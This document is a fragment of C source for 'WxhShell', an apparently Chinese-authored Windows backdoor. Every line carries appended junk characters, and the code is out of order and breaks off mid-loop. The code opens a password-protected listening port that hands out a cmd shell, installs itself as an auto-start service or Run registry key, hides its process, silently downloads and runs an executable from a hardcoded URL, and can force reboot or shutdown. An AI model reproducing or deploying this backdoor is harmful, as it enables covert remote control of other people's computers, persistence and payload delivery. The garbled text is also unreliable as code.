    if(Boot(SHUTDOWN)) @JWoF^U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :H$D-pbJ4  
    else { $GyO+xF  
    closesocket(wsh); [y73 xF   
    ExitThread(0); bqXCe\#  
    } :Gh* d)  
    break; xP.B,1\X  
    } bc"E=z  
  // 获取shell g< cR/  
  case 's': { Oph4&Ip[w  
    CmdShell(wsh); nBd!296  
    closesocket(wsh); %:n1S]Vr  
    ExitThread(0); 8z^?PZ/  
    break; 0KyujU?sF  
  } h94SLj]  
  // 退出 )>atoA  
  case 'x': { /LM*nN$%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M#JOX/  
    CloseIt(wsh); PXcpROg56  
    break; 22\Buk}?  
    } dhN[\Z%  
  // 离开 K,[g<7X5  
  case 'q': { BciwS_Qx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .9Bimhc6K  
    closesocket(wsh); e_+`%A+-  
    WSACleanup(); 2#LcL  
    exit(1); +vkqig  
    break; hA?j"y0?  
        } h:(Jes2  
  } 5j`"@C5;O  
  } j-ugsV`2=*  
-9/YS  
  // 提示信息 !o*BRR*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GEwgwenv  
} #6_?7 (X  
  } 4hztYOhJ{  
epm  t  
  return; R! ?8F4G  
} 0\wMlV`F  
*9%<}z  
// shell模块句柄 E=w$r  
int CmdShell(SOCKET sock) C/e`O|G  
{ BD,JBu]  
STARTUPINFO si; UuAn`oYhV  
ZeroMemory(&si,sizeof(si)); 3S:}fPR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C^Tc9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; US'X9=b_  
PROCESS_INFORMATION ProcessInfo; kR6rf_-[  
char cmdline[]="cmd"; 88h-.\%Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WUAjb,eo  
  return 0; knpb$eX4  
} X#5dd.RR  
_< 69d  
// 自身启动模式 "*#$$e53A  
int StartFromService(void) [X)+(-J  
{ A,MRK#1u  
typedef struct GC H= X  
{ Mq42^m:qe  
  DWORD ExitStatus; d6<,R;)  
  DWORD PebBaseAddress; Gp$[u4-6M6  
  DWORD AffinityMask; nTY`1w.;  
  DWORD BasePriority; @.T'  
  ULONG UniqueProcessId; J$&!Y[0  
  ULONG InheritedFromUniqueProcessId; :D-d`OyjG>  
}   PROCESS_BASIC_INFORMATION; IoJkM-^H&)  
'Y6{89y  
PROCNTQSIP NtQueryInformationProcess; gPe*M =iF  
6<NaME  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s>~!r.GC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XYWGX;.=  
gnNMuqt  
  HANDLE             hProcess; 5h+g^{BE  
  PROCESS_BASIC_INFORMATION pbi; 5)V J  
=]\,I'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sqei(OXy  
  if(NULL == hInst ) return 0; 0Apdhwk~  
m}]"TFzoVM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fV Ah</aZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w@X<</`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rYeFYPS  
3A4?9>g)KU  
  if (!NtQueryInformationProcess) return 0; v(FO8*5DZ  
N|z-s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `9s5 *;Z  
  if(!hProcess) return 0; QZ"Lh  
9,82Uta  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bb]pUb  
}a"T7y23  
  CloseHandle(hProcess); 8 ]dhNA5  
C:_!zY'z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @&S4j]rq  
if(hProcess==NULL) return 0; *r?g&Vw$m  
t\CVL?e`  
HMODULE hMod; g/mVd;#o  
char procName[255]; q3VE\&*^F  
unsigned long cbNeeded; 7cr+a4T33  
_w Cp.[3?t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZJ 8~f  
MH?|>6  
  CloseHandle(hProcess); 0LrTYrlj  
`U#*O+S-^  
if(strstr(procName,"services")) return 1; // 以服务启动 PX(.bP2^Lq  
j S')!Wcu  
  return 0; // 注册表启动 =KmjCz:  
} XtNe) Ry  
bb$1RLyRL  
// 主模块 oS/<)>\Gv  
int StartWxhshell(LPSTR lpCmdLine) VZ}^1e  
{ T#|Qexz6 @  
  SOCKET wsl; 8QE0J$d5  
BOOL val=TRUE; sn+i[  
  int port=0; H-nk\ K<|  
  struct sockaddr_in door; <)uUAh  
hc"+6xc  
  if(wscfg.ws_autoins) Install(); H"WkyvqXb  
82YTd(yB  
port=atoi(lpCmdLine); /$! / F@^  
6sRn_y  
if(port<=0) port=wscfg.ws_port; tt{,f1v0t  
.2C}8GGC'  
  WSADATA data; gv r "F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +%7yJmMw  
pOyM/L   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *,%H1)Tj}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ot;j6eAH~E  
  door.sin_family = AF_INET; XGFU *g`kq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DFwkd/3"  
  door.sin_port = htons(port); F8Rd#^9PD  
)V!9&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P cnr  
closesocket(wsl); /wljb b/s  
return 1; ?>1AT ==wI  
} go|/I&  
&[3 xpi{v  
  if(listen(wsl,2) == INVALID_SOCKET) { Fs|fo-+H}k  
closesocket(wsl); I+!w9o2nZ  
return 1; '8 1M%KO  
} ']ya_v~e  
  Wxhshell(wsl); ]sd|u[:k  
  WSACleanup(); =xSFKu*  
^Gq4Yr  
return 0; I .p26  
2rB$&>}T  
} V.XHjHT  
6ALf`:  
// 以NT服务方式启动 Kg VLXI6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oA(jtX[(  
{ ^e"BY(  
DWORD   status = 0; 0<>I\UN0b  
  DWORD   specificError = 0xfffffff; Tt `|26/  
x4CrWm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J*-m!0 5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 38L8AJqD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o*_[3{FU  
  serviceStatus.dwWin32ExitCode     = 0; ^ W eE%"  
  serviceStatus.dwServiceSpecificExitCode = 0; al F*L  
  serviceStatus.dwCheckPoint       = 0; GLB7h 9>  
  serviceStatus.dwWaitHint       = 0; 9jDV]!N4  
glH&v8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6^H64jM  
  if (hServiceStatusHandle==0) return; 0F8y8s  
V9`VF O  
status = GetLastError(); D(Pd?iQIO  
  if (status!=NO_ERROR) (*;b\h  
{ we4e>)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Focs p2  
    serviceStatus.dwCheckPoint       = 0; X-|`|>3E  
    serviceStatus.dwWaitHint       = 0; )TP 1i  
    serviceStatus.dwWin32ExitCode     = status; -;a}'1HOE  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ett%Y*D+J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (x@|6Sb  
    return; /1zi(z   
  } \L}Soe'  
f>s3Q\+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2oXsPrtZ  
  serviceStatus.dwCheckPoint       = 0; *TfXMN ?w  
  serviceStatus.dwWaitHint       = 0; 5n"b$hMF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 89v9BWF  
} DxdiXf[j  
j5Vyo>  
// 处理NT服务事件,比如:启动、停止 b] DF7 U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %`F6>J  
{ ()6(eRGJ  
switch(fdwControl) b6RuYwHWV0  
{ {VE\}zKF  
case SERVICE_CONTROL_STOP: #Q.A)5_  
  serviceStatus.dwWin32ExitCode = 0; "EQ`Q=8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cgNK67"(  
  serviceStatus.dwCheckPoint   = 0; x~j>Lvw L  
  serviceStatus.dwWaitHint     = 0; s]#D;i8  
  { hk3}}jc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3BAls+<p o  
  } q!\K!W\  
  return; 6{B$_Usg  
case SERVICE_CONTROL_PAUSE: |a%&7-;   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TppR \[4]  
  break; {" woBOaA  
case SERVICE_CONTROL_CONTINUE: 26B]b{Iz{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =H%c/Jty  
  break; g,h'K  
case SERVICE_CONTROL_INTERROGATE: -Ob'/d5&  
  break; i^eU!^KF  
}; #f0J.)M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bX6eNk-L  
} :aI[ lZ  
1Jg&L~Ws"  
// 标准应用程序主函数 y2;uG2IS_g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &m&Z^CA  
{ `wj<d>m  
KC9_H>  
// 获取操作系统版本 2a'b}<|[(  
OsIsNt=GetOsVer(); 5MfbO3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5,cq-`  
y!&6"l$K]  
  // 从命令行安装 X,y0 J  
  if(strpbrk(lpCmdLine,"iI")) Install(); qF C0$:z&  
.|^L\L(!  
  // 下载执行文件 1v)ur\>R  
if(wscfg.ws_downexe) { [`Seh$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M>nplHq   
  WinExec(wscfg.ws_filenam,SW_HIDE); 48vKUAzx`  
} S+ gzl#r  
4/vQ/>c2j  
if(!OsIsNt) { .;&c<c|  
// 如果时win9x,隐藏进程并且设置为注册表启动 FpN>T  
HideProc(); 89e<,f`h  
StartWxhshell(lpCmdLine); F`IV9qv  
} |re)]%A?Fu  
else 1 41@$mMzE  
  if(StartFromService()) P /|2s  
  // 以服务方式启动 J5e  
  StartServiceCtrlDispatcher(DispatchTable); '=C)Hj[D  
else %"B+;{y(5  
  // 普通方式启动 L9ECF;)  
  StartWxhshell(lpCmdLine); ! eXDN  
L lOUK2tZ  
return 0; 8MqKS}\H  
} J:LwO  
n`gW&5,,z  
)F*;7]f  
~3bH2,{L[  
=========================================== V<:scLm#OF  
wXI6KN-  
$L%gQkz_  
'0|0rwx  
xo3bY6<n  
V_+XZ+7Lx}  
" }GI8p* ]o=  
*{[jO&& J  
#include <stdio.h> t)o!OEnE  
#include <string.h> g:<2yT  
#include <windows.h> kEiWE|  
#include <winsock2.h> 50h?#u6?  
#include <winsvc.h> 6/e+=W2  
#include <urlmon.h> 3H"bivK  
v d A 3  
#pragma comment (lib, "Ws2_32.lib") 7bJAOJ'_  
#pragma comment (lib, "urlmon.lib") x h|NmZg  
_voU^-  
#define MAX_USER   100 // 最大客户端连接数 21ng94mC  
#define BUF_SOCK   200 // sock buffer $bSnbU <  
#define KEY_BUFF   255 // 输入 buffer &(&5ao)5  
6WUP#c@{  
#define REBOOT     0   // 重启 L-SWs8  
#define SHUTDOWN   1   // 关机 ,xmL[Yk,  
6j uNn}  
#define DEF_PORT   5000 // 监听端口 H|@R+  
$}_a`~u  
#define REG_LEN     16   // 注册表键长度 vk;]9o j*  
#define SVC_LEN     80   // NT服务名长度 %*J'!PC9n  
0P)"_x_  
// 从dll定义API JR>v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /DLgE7iU%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R;D|To!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F&pJ faig  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BhFyEY(  
5}-e9U  
// wxhshell配置信息 !| ObNS  
struct WSCFG { q8 jI y@  
  int ws_port;         // 监听端口 Ig b@aGA  
  char ws_passstr[REG_LEN]; // 口令 hHXTSk2  
  int ws_autoins;       // 安装标记, 1=yes 0=no '1rHvz`B/"  
  char ws_regname[REG_LEN]; // 注册表键名 1:{BC2P  
  char ws_svcname[REG_LEN]; // 服务名 =6Z$nc R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #>)OLKP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N-C=O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lHl1Ny\?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J+IkTqw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ootKY`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]&;M 78^6  
\M(#FS  
}; M$L ; -T  
F,F1Axf  
// default Wxhshell configuration )GgO=J:o  
struct WSCFG wscfg={DEF_PORT, .MUoNk!  
    "xuhuanlingzhe", ..u2IdEu  
    1, gFBMARxi  
    "Wxhshell", 7Qoy~=E  
    "Wxhshell", #21t8  
            "WxhShell Service", 3/d`s0O  
    "Wrsky Windows CmdShell Service", $K-od3h4=  
    "Please Input Your Password: ", r*Iu6  
  1, g+ZQ6Hz  
  "http://www.wrsky.com/wxhshell.exe", 4\Nt"#U)g  
  "Wxhshell.exe" h4N%(?7  
    }; Pgdv)i3  
BZUA/;Hz &  
// 消息定义模块 &n 1 \^:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $)(K7> P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ItLP&S=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LA\)B"{J  
char *msg_ws_ext="\n\rExit."; .LQvjK[N  
char *msg_ws_end="\n\rQuit."; @ckOLtxE>  
char *msg_ws_boot="\n\rReboot..."; v J `'x  
char *msg_ws_poff="\n\rShutdown..."; b!do7%]i  
char *msg_ws_down="\n\rSave to "; `y%1K|Y=  
fQ.{s Q$@h  
char *msg_ws_err="\n\rErr!"; cx_.+R  
char *msg_ws_ok="\n\rOK!"; aNcuT,=(?8  
estDW1i)  
char ExeFile[MAX_PATH]; yKy07<Gr>  
int nUser = 0; uW@o,S0:  
HANDLE handles[MAX_USER]; w26x)(7  
int OsIsNt; f*uD9l%/  
XwerQwO=  
SERVICE_STATUS       serviceStatus; )U$]J*LI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vy+UOV&v-  
~sk{O%OI  
// 函数声明 uoX] #<1J  
int Install(void); +WGL`RP  
int Uninstall(void); RMrrLT  
int DownloadFile(char *sURL, SOCKET wsh); >%PPp.R  
int Boot(int flag); b0vbE8wa  
void HideProc(void); OvFWX%uY  
int GetOsVer(void); |izf|*e  
int Wxhshell(SOCKET wsl); LEM^8G]O  
void TalkWithClient(void *cs); ptcG:  
int CmdShell(SOCKET sock); kVG]zt2  
int StartFromService(void); NEY b-#v  
int StartWxhshell(LPSTR lpCmdLine); h3z=tu['  
xQKD1#y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?n]e5R(cj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,pc\ )HR  
BUp,bJpO  
// 数据结构和表定义 vWM'}(  
SERVICE_TABLE_ENTRY DispatchTable[] = Y64B"J=P 9  
{ x?|C-v  
{wscfg.ws_svcname, NTServiceMain}, c[a1 Md&  
{NULL, NULL} qUW>qi,  
}; vU|.Gw  
Z T5p  
// 自我安装 6Eu&%`  
int Install(void) m{ya%F  
{ ^Z 9v_qB  
  char svExeFile[MAX_PATH]; =z]8;<=pL  
  HKEY key; JW`Kh*,~<  
  strcpy(svExeFile,ExeFile); 4 Ii@_r>  
XIrNT:h4  
// 如果是win9x系统,修改注册表设为自启动 &;V3[ *W"  
if(!OsIsNt) { IdvBQ [Gj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x>$! R\Cj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YflotlT}  
  RegCloseKey(key); %5zztReI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9gz"r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qtv>`:neB  
  RegCloseKey(key); s\-^vj3  
  return 0; N$j I&SI?}  
    } [xVE0l*\   
  } JMT?+/Qbu  
} kOe~0xoT@u  
else { .W>8bg'u9  
!iOuIYjV  
// 如果是NT以上系统,安装为系统服务 V r0-/T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D(GAC!|/]  
if (schSCManager!=0) r7I,%}k  
{ F! |?S:X  
  SC_HANDLE schService = CreateService kP6P/F|RcZ  
  ( kZlRS^6  
  schSCManager, >v+ia%o  
  wscfg.ws_svcname, \sy;ca)[6g  
  wscfg.ws_svcdisp, Z~Mq5#3F  
  SERVICE_ALL_ACCESS, Q~'a1R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LqHeLN  
  SERVICE_AUTO_START, aoZ`C3  
  SERVICE_ERROR_NORMAL, ~'4:{xH  
  svExeFile, >:ZlYZ6sI  
  NULL, GC3:ZpV`  
  NULL, kt";Jx  
  NULL, b=#3p  
  NULL, ;5*)kX  
  NULL `P`n qn  
  ); WAj26";M(  
  if (schService!=0) y %k`  
  { >e4  
  CloseServiceHandle(schService); {d;eZt `  
  CloseServiceHandle(schSCManager); t `4^cd5V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d E@R7yU@  
  strcat(svExeFile,wscfg.ws_svcname); 9iQcK&D 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RfT#kh/5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !(!BW9Zt+  
  RegCloseKey(key); 6]|NB&  
  return 0; tk^1Ga3  
    } VD \pQ.=  
  } cZRLYOC  
  CloseServiceHandle(schSCManager); r: _- Cj  
} RRD\V3C84  
} lA4Bq  
NLJD}{8Ot  
return 1; Kis\Rg  
} u1 uu_*  
3I_"vk  
// 自我卸载 g~L1e5C]z  
int Uninstall(void) /~_Cb= 7  
{ YkcX#>,  
  HKEY key; '_n{+eR74  
-5NP@  
if(!OsIsNt) { B[ f{Ys  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Po[u6K2&  
  RegDeleteValue(key,wscfg.ws_regname); tUmI#.v   
  RegCloseKey(key); X$O,L[] 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6,'!z ?d%  
  RegDeleteValue(key,wscfg.ws_regname); }9=\#Le~\  
  RegCloseKey(key); 'aB0abr|  
  return 0; o} #nf$v(  
  } S.+)">buH  
} @o+T<}kWX  
} SnbH`\U"  
else { IbpE@C  
N(?yOB4gt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xG_ ;F  
if (schSCManager!=0) {rWu`QT  
{ +q]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m_H$fioha,  
  if (schService!=0) `4cs.ab  
  { O0xL;@rBe  
  if(DeleteService(schService)!=0) { 's$pr#V  
  CloseServiceHandle(schService); OwP9=9};  
  CloseServiceHandle(schSCManager); L%a ni}V  
  return 0; tg~&kaz  
  } 66=6;77  
  CloseServiceHandle(schService); yZ,k8TJ",  
  } `n:IXD5'  
  CloseServiceHandle(schSCManager); A.vcE  
} #VC^><)3  
} (ju-r*0  
RR:m <9l  
return 1; J+&AtGq]u  
} J p .wg  
CF^7 {g(y_  
// 从指定url下载文件 -8tWc]c |4  
int DownloadFile(char *sURL, SOCKET wsh) l)z15e5X  
{ Q8M&nf  
  HRESULT hr; nJ4h9`[>V  
char seps[]= "/"; IxCEE5+`%  
char *token; .i/]1X*;r^  
char *file; (0W%Y Z!&  
char myURL[MAX_PATH]; ,"PwNv  
char myFILE[MAX_PATH];  zUqiz  
)dLESk  
strcpy(myURL,sURL); i{VjSWq  
  token=strtok(myURL,seps); .jr1<LE  
  while(token!=NULL) Ta!.oC[  
  { Ts;W,pgP  
    file=token; Wuosr3P  
  token=strtok(NULL,seps); .c"UlOZ&w^  
  } "yc/8{U  
MPO!qSS]  
GetCurrentDirectory(MAX_PATH,myFILE); VzpPopD,QW  
strcat(myFILE, "\\"); V#!ypX]AB[  
strcat(myFILE, file); Ii*v(`2b  
  send(wsh,myFILE,strlen(myFILE),0); )?pin|_x  
send(wsh,"...",3,0); hzPx8sO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5vY h~|  
  if(hr==S_OK) |.:O$/ Tt[  
return 0; %>i7A?L  
else mo#4jtCE  
return 1; e=Kv[R'(M  
c6s(f  
} c0<Y017sG  
t2OXm  
// 系统电源模块 Rv q_Zsm  
int Boot(int flag) GU'5`Yzd9  
{ f\~e&`PV  
  HANDLE hToken; D{.%Dr?  
  TOKEN_PRIVILEGES tkp; @D"#B@j  
q) /;|h  
  if(OsIsNt) { %8$JL=c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^i-%FY_i5}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \9se~tAl3  
    tkp.PrivilegeCount = 1; j Xi<ZJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ynM{hN.+H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nB,FJJ{kb  
if(flag==REBOOT) { T|ZZkNP|6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I2j;9Qcz  
  return 0; #jr;.;8sQ  
} S97.O@V!$  
else { Z6>:k,-Ot  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9qXHdpb#g"  
  return 0; M=o,Sav5*  
} 1a4QWGpq  
  } yc]ni.Hz  
  else { 0 nWV1)Q0=  
if(flag==REBOOT) { rxa"ji!)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h#]}J}si  
  return 0; <mY`<(bc  
} <?qmB }Y  
else { J-?\,N1R7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N>ct`a)BD/  
  return 0; w,3`Xq@  
} !kASEjFz|f  
} .&@|)u  
>w j7Y`  
return 1; y13=y}dyDH  
} O|y-nAZgU  
tO[+O=d  
// win9x进程隐藏模块 GetUCb%1  
void HideProc(void) 0A?w,A`"  
{ a' #-%!]  
Q(]-\L'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;S?1E:\av  
  if ( hKernel != NULL ) K/\#FJno  
  { ;xB"D0~,1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :R_{tQ-WG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K:y q^T7  
    FreeLibrary(hKernel); j&T/.]dX&  
  } #(aROTV5a  
3<mv9U(  
return; \|62E):i1  
} @/$mZ]|T  
F|P2\SPL  
// 获取操作系统版本 1v2wP2]|;  
int GetOsVer(void) n+Ag |.,|  
{ <*(~x esPS  
  OSVERSIONINFO winfo; p+8]H %  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8!UZ..  
  GetVersionEx(&winfo); z%Z}vWn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &g& &-=7)  
  return 1; =l7LEkR  
  else ( ?/0$DB  
  return 0; TdQ^^{SRp  
} r]HLO'<]  
!%s7I ^f*  
// 客户端句柄模块 Z:/S@ry  
int Wxhshell(SOCKET wsl) Qgx~'9   
{ TJ; v}HSo  
  SOCKET wsh; $\^]MxI  
  struct sockaddr_in client;  V'mpl  
  DWORD myID; 2{V|  
e#nTp b  
  while(nUser<MAX_USER) 3&y u  
{ 3@"VS_;?  
  int nSize=sizeof(client); --^D)n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rXm!3E6JL  
  if(wsh==INVALID_SOCKET) return 1; A\# ? rK  
<BU|?T6~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +'n1?^U  
if(handles[nUser]==0) /pk; E$qv  
  closesocket(wsh); jQ^Ib]"K  
else HJcZ~5jf  
  nUser++; >8 JvnBFx=  
  } OT *W]f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .ERO*Tj  
w`7l ;7[  
  return 0; c=b\9!hr_E  
} ^_=0.:QaW  
O,OGq0c  
// 关闭 socket ;XtDz  
void CloseIt(SOCKET wsh) bs`/k&'  
{ wcL0#[)  
closesocket(wsh); A.h?#%TLL  
nUser--; Xj@Kt|&`k  
ExitThread(0); =0f8W=d:Vr  
} wlpbfO e/  
):|)/ZiC'  
// 客户端请求句柄 ?Jr<gn^D  
void TalkWithClient(void *cs) BuvBSLC~  
{ u?J(l)gd  
CD tYj  
  SOCKET wsh=(SOCKET)cs; \)#3S $L~  
  char pwd[SVC_LEN]; &qpA<F@7  
  char cmd[KEY_BUFF]; 3+$O#>  
char chr[1]; )xK!i.  
int i,j; b,`\"'1  
nWl0R=  
  while (nUser < MAX_USER) {  mPD'"  
uf>w*[m5  
if(wscfg.ws_passstr) { @'rO=(-b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % (.PRRI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;C{_T:LS  
  //ZeroMemory(pwd,KEY_BUFF); *AA1e}R{B  
      i=0; jF5JpyOc  
  while(i<SVC_LEN) { &%bX&;ECzf  
LPNv4lT[u  
  // 设置超时 |kd^]! _  
  fd_set FdRead; g Q9ff,  
  struct timeval TimeOut; 6\Z^L1973  
  FD_ZERO(&FdRead); [T^6Kzz  
  FD_SET(wsh,&FdRead); W&Hf}q s  
  TimeOut.tv_sec=8; jCl[!L5/1  
  TimeOut.tv_usec=0; Lg nGqIlx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w:N2 xI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 37[C^R!1c  
\mDm *UuG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PaZYs~EO  
  pwd=chr[0]; gJ7$G3&oZg  
  if(chr[0]==0xd || chr[0]==0xa) { #RD%GLY  
  pwd=0; <?g{Rn  
  break; Rq9gtx8,=  
  } Y5opZ G  
  i++; 3TtW2h>M  
    } h P1|l  
#.='dSj  
  // 如果是非法用户,关闭 socket Xo5L:(?K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i,HAXPi  
} ,@;<u'1\G  
o MAK[$k;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =ht@7z8QM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?7+ 2i\L  
:Rn9rdX  
while(1) { xle29:?l  
] QEw\4M?=  
  ZeroMemory(cmd,KEY_BUFF); F)IP~BE-k  
=3:ltI.'*I  
      // 自动支持客户端 telnet标准   ~;W%s  
  j=0; 6{~I7!m"  
  while(j<KEY_BUFF) { f1{ckHAY55  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*u@T|Fc$  
  cmd[j]=chr[0]; 4jW{IGW  
  if(chr[0]==0xa || chr[0]==0xd) { O`=Uq0Vv  
  cmd[j]=0; FdqUv% (Em  
  break; k?#6j1pn  
  } f,#xicSB*  
  j++; E*l"uV  
    } ;:4puv+]  
)'g vaT  
  // 下载文件 >xjy P!bca  
  if(strstr(cmd,"http://")) { <b\urtoJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MI}D%n*  
  if(DownloadFile(cmd,wsh)) 6>Cubb>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|m3b~Oyv  
  else r:cUAe7#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4HJrR^  
  } 7`}z7nk  
  else { 2$91+N*w9  
1rEP)66N  
